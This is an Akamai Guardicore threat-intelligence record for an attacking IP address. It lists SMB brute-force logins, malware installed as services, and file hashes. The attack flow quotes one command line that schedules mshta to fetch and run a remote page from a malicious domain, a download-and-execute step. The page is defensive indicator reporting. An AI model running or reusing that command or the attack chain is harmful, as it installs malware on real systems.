Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 183.199.80.37Previously Malicious

IP Address: 183.199.80.37Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Null Session Login File Operation By CMD Download and Execute SMB Share Connect Scheduled Task Creation Service Stop Execute from Share Service Creation Download File Service Start Service Deletion MSSQL Access Share DNS Query Access Suspicious Domain SMB Brute Force SMB CMD Successful SMB Login

Associated Attack Servers

162.247.74.7 162.251.158.231

Basic Information

IP Address

183.199.80.37

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-11-22

Last seen in Akamai Guardicore Segmentation

2022-11-22

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\zsdsacsz.exe as a service named AkdU under service group None

Service Start Service Creation

zsdsacsz.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started %systemroot%\ekapgyfa.exe as a service named LkWP under service group None

Service Start Service Creation

The file C:\WINDOWS\EKapGyfA.exe was downloaded and executed

Download and Execute

C:\WINDOWS\temp\svchost.exe was downloaded

Download File

C:\WINDOWS\temp\tmp.vbs was downloaded

Download File

Service LkWP was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

SMB Brute Force Successful SMB Login

C:\FPYVXMCl.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\fpyvxmcl.exe as a service named FHhk under service group None

Service Start Service Creation

fpyvxmcl.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service FHhk was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\EcCyH.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The file C:\WINDOWS\QmZkrBV.exe was downloaded and executed

Download and Execute

The command line c:\windows\QmZkrBV.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

Connection was closed due to timeout

Associated Files

C:\WINDOWS\QmZkrBV.exe

SHA256: 20134cf0f9e44923a8b28d1a5a2397fa36604039ac97360c0b552986584c8317

455000 bytes

C:\windows\temp\svchost.exe

SHA256: 394d7b7fecd700752f40f3a0c4a835439d20353b2879ec6184504badc50270ad

845000 bytes

C:\WINDOWS\temp\svchost.exe

SHA256: 6369dfa152347345f39e21580c6b333ee1715ca30452d1db826bc0d298959042

520000 bytes

C:\windows\temp\svchost.exe

SHA256: 767378ee132b2f8d76b5bc06fab02dc55289892fa22fbdc0d893328e46877f8e

975000 bytes

C:\windows\temp\svchost.exe

SHA256: 80dd985dcccace863977f80dae08a4a84d88392889ac2d4081a9f1afa9183f30

585000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 84c0cfc6bfa4367efef2dbbfe64da0775dd7198d4591931030e51a84a618edc6

585000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 9a5627bab0557d6508aa98eeda70247375e122e3ddddfbb66838644c0a30ebd9

65000 bytes